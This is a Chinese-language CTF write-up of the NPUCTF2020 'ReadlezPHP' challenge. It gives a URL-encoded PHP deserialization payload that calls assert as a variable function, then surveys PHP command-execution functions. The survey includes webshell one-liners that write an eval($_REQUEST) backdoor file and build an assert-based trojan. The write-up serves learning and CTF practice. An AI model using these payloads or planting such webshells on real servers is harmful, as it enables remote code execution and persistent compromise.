[NPUCTF2020]ReadlezPHP
作者:互联网
[NPUCTF2020]ReadlezPHP WriteUp
知识点
- 反序列化
- 可变函数
题解
-
很简单,直接上最后的payload。
?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D 没有编码是: O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}
-
但是我想通过这道题总结一下可执行命令函数和可变函数。 理解为什么不用 eval("phpinfo()");
执行外部命令的函数
-
exec()
-
php会操控计算机执行计算机命令,且获取最后一行数据,没有回显,需要echo输出
-
<?php echo exec('ipconfig');?>
-
-
shell_exec()
-
system()
-
会操作计算机执行计算机命令,如果Linux,执行Bash命令,如果Windows执行cmd命令
-
<?php system("whoami");?> 写入shell <?php system('echo "<?php eval($_REQUEST[8]);?>" > 123.php');?>
-
-
passthru() 只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。
-
system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
相同点:都可以获得命令执行的状态码
执行内部命令
-
eval()
- 里面必须是字符串;字符串必须是合法的PHP代码,且必须以分号结尾;如果字符串里面没有调用return语句,则返回NULL,如果解析错误,返回false。
-
assert() 检查断言是否为false。
- 在php5或php7中,如果括号里面是字符串,它会被当作代码来执行
- 构造木马可以用 assert("eval($_POST['cmd'])"); 其中assert 可以是字符串。
-
以前知道可变变量,现在有明白了可变函数。如果一个字符串后面有括号() 。它就会去找与此字符串同名的函数,如果有,就当作函数来执行。
-
但是 语言构造器和 语言结构(echo,print,unset,isset,empty,include,require等) 属于不可变函数
-
eval是一个语言构造器而不是一个函数,不能被 可变函数 调用。
-
从 PHP7.1 之后,assert 也不再是可变函数。
-
还有一些可执行内部命令的函数没有总结,如`` , preg_replace()的 e 模式。等等
标签:函数,22%,3A%,assert,命令,字符串,NPUCTF2020,ReadlezPHP 来源: https://www.cnblogs.com/Q-and-K/p/16204723.html